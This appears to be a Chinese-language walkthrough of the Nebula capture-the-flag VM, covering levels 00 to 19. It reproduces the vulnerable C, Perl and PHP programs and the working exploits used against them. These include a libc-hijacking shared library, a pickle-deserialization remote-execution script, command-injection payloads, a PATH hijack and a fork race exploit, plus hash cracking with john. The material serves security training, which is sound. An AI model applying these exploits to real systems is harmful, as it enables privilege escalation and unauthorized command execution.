下载地址
https://download.vulnhub.com/exploitexercises/exploit-exercises-nebula-5.iso
实战演练
找到IP是192.168.199.117
level00
详情
This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.
使用用户名和密码为level00登录ssh
按照详情,要找到SUID的程序
执行这个文件
level01
详情
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
使用用户名和密码为level01登录ssh
找到文件的位置
调试运行文件
看到env echo这条命令
添加环境变量
修改echo为getflag
成功利用环境变量执行了程序
但是直接执行getflag是不行的
level02
详情
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
使用用户名和密码为level02登录ssh
看到运行结果就是调用环境变量USER
所以修改环境变量USER
level03
详情
Check the home directory of flag03 and take note of the files there. There is a crontab that is called every couple of minutes.
使用用户名和密码为level03登录ssh
可能是由于权限问题
level04
This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :)
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> int main(int argc, char **argv, char **envp) { char buf[1024]; int fd, rc; if(argc == 1) { printf("%s [file to read]\n", argv[0]); exit(EXIT_FAILURE); } if(strstr(argv[1], "token") != NULL) { printf("You may not access '%s'\n", argv[1]); exit(EXIT_FAILURE); } fd = open(argv[1], O_RDONLY); if(fd == -1) { err(EXIT_FAILURE, "Unable to open %s", argv[1]); } rc = read(fd, buf, sizeof(buf)); if(rc == -1) { err(EXIT_FAILURE, "Unable to read fd %d", fd); } write(1, buf, rc); }
level05
Check the flag05 home directory. You are looking for weak directory permissions
使用证书登录
level06
使用用户名和密码为level06登录ssh
详情
The flag06 account credentials came from a legacy unix system.
查看passwd文件,找到了一个hash密码
用john爆破一下,找到密码是hello
用这个密码登录一下
level07
使用用户名和密码为level07登录ssh
详情
The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.
进入flag07目录
命令执行漏洞
在7007端口开启了http服务
vmware虚拟机的内存要设置1G以上,不然http服务不能启动
测试
需要进行URL编码
level08
使用用户名和密码为level08登录ssh
详情
World readable files strike again. Check what that user was up to, and use it to log into flag08 account.
进入到flag08目录查看
level09
使用用户名和密码为level09登录ssh
详情
There’s a C setuid wrapper for some vulnerable PHP code…
进[email ${`getflag`}]入flag09目录查看
payload
[email ${`getflag`}]
level10
使用用户名和密码为level10登录ssh
详情
The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.
程序代码
#include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> int main(int argc, char **argv) { char *file; char *host; if(argc < 3) { printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]); exit(1); } file = argv[1]; host = argv[2]; if(access(argv[1], R_OK) == 0) { int fd; int ffd; int rc; struct sockaddr_in sin; char buffer[4096]; printf("Connecting to %s:18211 .. ", host); fflush(stdout); fd = socket(AF_INET, SOCK_STREAM, 0); memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(host); sin.sin_port = htons(18211); if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) { printf("Unable to connect to host %s\n", host); exit(EXIT_FAILURE); } #define HITHERE ".oO Oo.\n" if(write(fd, HITHERE, strlen(HITHERE)) == -1) { printf("Unable to write banner to host %s\n", host); exit(EXIT_FAILURE); } #undef HITHERE printf("Connected!\nSending file .. "); fflush(stdout); ffd = open(file, O_RDONLY); if(ffd == -1) { printf("Damn. Unable to open file\n"); exit(EXIT_FAILURE); } rc = read(ffd, buffer, sizeof(buffer)); if(rc == -1) { printf("Unable to read from file: %s\n", strerror(errno)); exit(EXIT_FAILURE); } write(fd, buffer, rc); printf("wrote file!\n"); } else { printf("You don't have access to %s\n", file); } }
使用ncat监听18211端口
level11
使用用户名和密码为level11登录ssh
详情
The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.
程序代码
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <sys/mman.h> /* * Return a random, non predictable file, and return the file descriptor for it. */ int getrand(char **path) { char *tmp; int pid; int fd; srandom(time(NULL)); tmp = getenv("TEMP"); pid = getpid(); asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid, 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26), 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26)); fd = open(*path, O_CREAT|O_RDWR, 0600); unlink(*path); return fd; } void process(char *buffer, int length) { unsigned int key; int i; key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i]; } system(buffer); } #define CL "Content-Length: " int main(int argc, char **argv) { char line[256]; char buf[1024]; char *mem; int length; int fd; char *path; if(fgets(line, sizeof(line), stdin) == NULL) { errx(1, "reading from stdin"); } if(strncmp(line, CL, strlen(CL)) != 0) { errx(1, "invalid header"); } length = atoi(line + strlen(CL)); if(length < sizeof(buf)) { if(fread(buf, length, 1, stdin) != length) { err(1, "fread length"); } process(buf, length); } else { int blue = length; int pink; fd = getrand(&path); while(blue > 0) { printf("blue = %d, length = %d, ", blue, length); pink = fread(buf, 1, sizeof(buf), stdin); printf("pink = %d\n", pink); if(pink <= 0) { err(1, "fread fail(blue = %d, length = %d)", blue, length); } write(fd, buf, pink); blue -= pink; } mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); if(mem == MAP_FAILED) { err(1, "mmap"); } process(mem, length); } }
分析代码时,有两个不同的分支导致process ()函数调用,最终导致system()函数调用。这为我们提供了两种不同的方法来利用这个程序。
第一个是Content-Length标头中指定的长度大于1024.为了利用这个易受攻击的路径,我们需要为程序提供一个有效的标头,指定内容长度大于或等于1024.我们将将长度固定为1024并分析我们需要在内容体中放置什么来执行我们的任意命令。
如果内容长度大于或等于1024,程序将打开随机文件描述符并将内容正文的内容复制到该文件。然后,将文件的内容读入在处理空间中分配的存储器段中。应用程序的最后一部分process()将解密内容主体并将解密的内容用作system()运行的命令。
我们需要做的就是加密我们想要运行的命令,后跟一个空字节,并用任何垃圾填充1024块的其余部分。
暂且搞不了,下一个
level12
使用用户名和密码为level12登录ssh
详情
There is a backdoor process listening on port 50001.
看到一个基于lua的http服务
漏洞出现在hash()函数上面
level13
使用用户名和密码为level13登录ssh
详情
There is a security check that prevents the program from continuing execution if the user invoking it does not match a specific user id.
程序代码
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <string.h> #define FAKEUID 1000 int main(int argc, char **argv, char **envp) { int c; char token[256]; if(getuid() != FAKEUID) { printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID); printf("The system administrators will be notified of this violation\n"); exit(EXIT_FAILURE); } // snip, sorry :) printf("your token is %s\n", token); }
运行程序
逆向这个程序
可以看到在getuid这里出现判断
level14
使用用户名和密码为level14登录ssh
详情
This program resides in /home/flag14/flag14. It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it :)
运行程序,发现似乎从0开始,并随着每个字符递增。然后,每个字符的ASCII值按键的当前值递增。
exp
import sys def decrypt(ciphertext): count = 0 result = [] for c in ciphertext: result.append(chr((ord(c) - count))) count +=1 print("Decrypting: " + ciphertext + " -> " + "".join(result)) return("".join(result)) decrypt(sys.argv[1])
level15
使用用户名和密码为level15登录ssh
详情
strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary. You may wish to review how to “compile a shared library in linux” and how the libraries are loaded and processed by reviewing the dlopen manpage in depth. Clean up after yourself :)
level15@nebula:~$ cd /home/flag15 level15@nebula:/home/flag15$ ls -al total 12 drwxr-x--- 2 flag15 level15 80 2011-11-20 21:22 . drwxr-xr-x 1 root root 200 2012-08-27 07:18 .. -rw-r--r-- 1 flag15 flag15 220 2011-05-18 02:54 .bash_logout -rw-r--r-- 1 flag15 flag15 3353 2011-05-18 02:54 .bashrc -rwsr-x--- 1 flag15 level15 7161 2011-11-20 21:22 flag15 -rw-r--r-- 1 flag15 flag15 675 2011-05-18 02:54 .profile level15@nebula:/home/flag15$ ./flag15 strace it! level15@nebula:/home/flag15$ strace ./flag15 execve("./flag15", ["./flag15"], [/* 19 vars */]) = 0 brk(0) = 0x8ff4000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77f0000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbf810304) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/i686/sse2", 0xbf810304) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/i686/cmov", 0xbf810304) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/i686", 0xbf810304) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbf810304) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/sse2", 0xbf810304) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/cmov", 0xbf810304) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls", 0xbf810304) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbf810304) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/i686/sse2", 0xbf810304) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/i686/cmov", 0xbf810304) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/i686", 0xbf810304) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/sse2/cmov", 0xbf810304) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/sse2", 0xbf810304) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/cmov", 0xbf810304) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=3, ...}) = 0 open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0 mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb77e7000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0 mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xd3e000 mmap2(0xeb4000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0xeb4000 mmap2(0xeb7000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xeb7000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77e6000 set_thread_area({entry_number:-1 -> 6, base_addr:0xb77e68d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 mprotect(0xeb4000, 8192, PROT_READ) = 0 mprotect(0x8049000, 4096, PROT_READ) = 0 mprotect(0xd17000, 4096, PROT_READ) = 0 munmap(0xb77e7000, 33815) = 0 fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77ef000 write(1, "strace it!\n", 11strace it! ) = 11 exit_group(11) = ? level15@nebula:/home/flag15$
我发现这个程度大量读取libc.so.6这个库,但是进入目录后没有发现
使用readelf查看程序
新建一个库文件
创建两个文件/tmp/level15.c
和/tmp/version
#include <unistd.h> #include <stdlib.h> void __attribute__((constructor)) init() { int euid = geteuid(); setresuid(euid, euid, euid); system("/bin/getflag"); }
GLIBC_2.0 {};
gcc -fPIC -g -c /tmp/level15.c -o /tmp/level15.o
gcc -shared -Wl,--version-script,/tmp/version,-Bstatic /tmp/level15.o -static-libgcc \
-o /var/tmp/flag15/libc.so.6
level16
使用用户名和密码为level16登录ssh
注:当1616端口没有开启的时候,重启一下虚拟机就行
详情
There is a perl script running on port 1616.
这是一个命令执行漏洞
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
拼接一下url编码
%22%3C%2Fdev%2Fnull%3Bpwnvar%3D%2Ftmp%2Fpwn16%3B%24%7Bpwnvar%2C%2C%7D%3B%23
level17
使用用户名和密码为level17登录ssh
详情
There is a python script listening on port 10007 that contains a vulnerability.
exp
#!/usr/bin/python import os import pickle import socket class Pandora(object): def __reduce__(self): return (os.system,(('getflag > /tmp/flag17'),)) HOST = "127.0.0.1" PORT = 10007 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) s.connect((HOST,PORT)) reply = s.recv(1024) print(HOST + ": " + reply) obj = Pandora() sobj = pickle.dumps(obj) print("Sending: " + str(obj)) s.send(sobj) print("Awaiting reply from: " + HOST) reply = s.recv(1024) print(HOST + ": " + reply)
level18
使用用户名和密码为level18登录ssh
详情
Analyse the C program, and look for vulnerabilities in the program. There is an easy way to solve this level, an intermediate way to solve it, and a more difficult/unreliable way to solve it.
程序代码
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> #include <fcntl.h> #include <getopt.h> struct { FILE *debugfile; int verbose; int loggedin; } globals; #define dprintf(...) if(globals.debugfile) \ fprintf(globals.debugfile, __VA_ARGS__) #define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \ fprintf(globals.debugfile, __VA_ARGS__) #define PWFILE "/home/flag18/password" void login(char *pw) { FILE *fp; fp = fopen(PWFILE, "r"); if(fp) { char file[64]; if(fgets(file, sizeof(file) - 1, fp) == NULL) { dprintf("Unable to read password file %s\n", PWFILE); return; } fclose(fp); if(strcmp(pw, file) != 0) return; } dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : ""); globals.loggedin = 1; } void notsupported(char *what) { char *buffer = NULL; asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what); dprintf(what); free(buffer); } void setuser(char *user) { char msg[128]; sprintf(msg, "unable to set user to '%s' -- not supported.\n", user); printf("%s\n", msg); } int main(int argc, char **argv, char **envp) { char c; while((c = getopt(argc, argv, "d:v")) != -1) { switch(c) { case 'd': globals.debugfile = fopen(optarg, "w+"); if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg); setvbuf(globals.debugfile, NULL, _IONBF, 0); break; case 'v': globals.verbose++; break; } } dprintf("Starting up. Verbose level = %d\n", globals.verbose); setresgid(getegid(), getegid(), getegid()); setresuid(geteuid(), geteuid(), geteuid()); while(1) { char line[256]; char *p, *q; q = fgets(line, sizeof(line)-1, stdin); if(q == NULL) break; p = strchr(line, '\n'); if(p) *p = 0; p = strchr(line, '\r'); if(p) *p = 0; dvprintf(2, "got [%s] as input\n", line); if(strncmp(line, "login", 5) == 0) { dvprintf(3, "attempting to login\n"); login(line + 6); } else if(strncmp(line, "logout", 6) == 0) { globals.loggedin = 0; } else if(strncmp(line, "shell", 5) == 0) { dvprintf(3, "attempting to start shell\n"); if(globals.loggedin) { execve("/bin/sh", argv, envp); err(1, "unable to execve"); } dprintf("Permission denied\n"); } else if(strncmp(line, "logout", 4) == 0) { globals.loggedin = 0; } else if(strncmp(line, "closelog", 8) == 0) { if(globals.debugfile) fclose(globals.debugfile); globals.debugfile = NULL; } else if(strncmp(line, "site exec", 9) == 0) { notsupported(line + 10); } else if(strncmp(line, "setuser", 7) == 0) { setuser(line + 8); } } return 0; }
查看目录
启动时,程序会查找两个参数:
-d :启用日志记录到提供的日志文件
-v:以增加详细级别
然后程序启动并将详细级别写入调试文件,并将EUID权限设置为二进制文件。该程序当时开始接受输入:
-
登录 :尝试登录给定的用户。在登录功能无法开启,这意味着,如果密码文件无法读取,那么它会在用户。我们可以尝试删除密码文件以强制fopen失败并返回NULL文件描述符,但我们无法删除该文件。使fopen函数调用的另一种方法是使它失败以耗尽文件描述符,以便不再分配给密码文件。这可以完成,因为登录功能永远不会关闭文件描述符。这是我们将探索的一种方式,让我们继续阅读该程序。
-
注销:只需清除globals.loggedin标志,这对我们没用
-
shell:这看起来对我们非常有用,它执行一个新的/ bin / sh shell(注意绝对路径,所以我们不能伪造它)并使用相同的flag18参数作为shell参数。
-
closelog:如果使用-d选项调用flag18,它将关闭日志文件描述符并停止记录。这将很有用,但请继续阅读
-
site exec:调用notsupported函数,其中存在格式字符串漏洞(dprintf(what)).但如果我们试图利用它,我们得到:
level18@nebula:/home/flag18$ ulimit -a core file size (blocks, -c) 0 data seg size (kbytes, -d) unlimited scheduling priority (-e) 0 file size (blocks, -f) unlimited pending signals (-i) 15980 max locked memory (kbytes, -l) 64 max memory size (kbytes, -m) unlimited open files (-n) 1024 pipe size (512 bytes, -p) 8 POSIX message queues (bytes, -q) 819200 real-time priority (-r) 0 stack size (kbytes, -s) 8192 cpu time (seconds, -t) unlimited max user processes (-u) 15980 virtual memory (kbytes, -v) unlimited file locks (-x) unlimited level18@nebula:/home/flag18$ echo "`python -c 'print("login me\n"*1021 + "shell")'`" | /home/flag18/flag18 -v -d /tmp/log /home/flag18/flag18: error while loading shared libraries: libncurses.so.5: cannot open shared object file: Error 24 level18@nebula:/home/flag18$ echo "`python -c 'print("login me\n"*1021 + "closelog\n" + "shell")'`" | /home/flag18/flag18 -v -d /tmp/log /home/flag18/flag18: -d: invalid option Usage: /home/flag18/flag18 [GNU long option] [option] ... /home/flag18/flag18 [GNU long option] [option] script-file ... GNU long options: --debug --debugger --dump-po-strings --dump-strings --help --init-file --login --noediting --noprofile --norc --posix --protected --rcfile --restricted --verbose --version Shell options: -irsD or -c command or -O shopt_option (invocation only) -abefhkmnptuvxBCHP or -o option level18@nebula:/home/flag18$ echo "`python -c 'print("login me\n"*1021 + "closelog\n" + "shell")'`" | /home/flag18/flag18 --rcfile -d /tmp/log /home/flag18/flag18: invalid option -- '-' /home/flag18/flag18: invalid option -- 'r' /home/flag18/flag18: invalid option -- 'c' /home/flag18/flag18: invalid option -- 'f' /home/flag18/flag18: invalid option -- 'i' /home/flag18/flag18: invalid option -- 'l' /home/flag18/flag18: invalid option -- 'e' /tmp/log: line 1: Starting: command not found /tmp/log: line 2: syntax error near unexpected token `(' /tmp/log: line 2: `logged in successfully (without password file)' level18@nebula:/home/flag18$ echo "getflag" > /tmp/Starting level18@nebula:/home/flag18$ chmod +x /tmp/Starting level18@nebula:/home/flag18$ export PATH=/tmp:$PATH level18@nebula:/home/flag18$ echo "`python -c 'print("login me\n"*1021 + "closelog\n" + "shell")'`" | /home/flag18/flag18 --rcfile -d /tmp/log /home/flag18/flag18: invalid option -- '-' /home/flag18/flag18: invalid option -- 'r' /home/flag18/flag18: invalid option -- 'c' /home/flag18/flag18: invalid option -- 'f' /home/flag18/flag18: invalid option -- 'i' /home/flag18/flag18: invalid option -- 'l' /home/flag18/flag18: invalid option -- 'e' You have successfully executed getflag on a target account /tmp/log: line 2: syntax error near unexpected token `(' /tmp/log: line 2: `logged in successfully (without password file)' level18@nebula:/home/flag18$
使用用户名和密码为level19登录ssh
详情
There is a flaw in the below program in how it operates.
程序代码
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <sys/stat.h> int main(int argc, char **argv, char **envp) { pid_t pid; char buf[256]; struct stat statbuf; /* Get the parent's /proc entry, so we can verify its user id */ snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid()); /* stat() it */ if(stat(buf, &statbuf) == -1) { printf("Unable to check parent process\n"); exit(EXIT_FAILURE); } /* check the owner id */ if(statbuf.st_uid == 0) { /* If root started us, it is ok to start the shell */ execve("/bin/sh", argv, envp); err(1, "Unable to execve"); } printf("You are unauthorized to run this program\n"); }
运行程序
exp
#include<stdio.h> #include<unistd.h> int main(void) { pid_t pid = fork(); if (pid == 0) { char *arg[] = { "/bin/sh" , "-c" , "getflag" , NULL}; sleep(2); /* Give the fork 2 sec to orphan */ execv("/home/flag19/flag19", arg); printf("Done fork\n"); return 0; } printf("Done parent\n"); return 0; }
来源:freebuf.com 2019-03-30 22:26:50 by: 陌度
请登录后发表评论
注册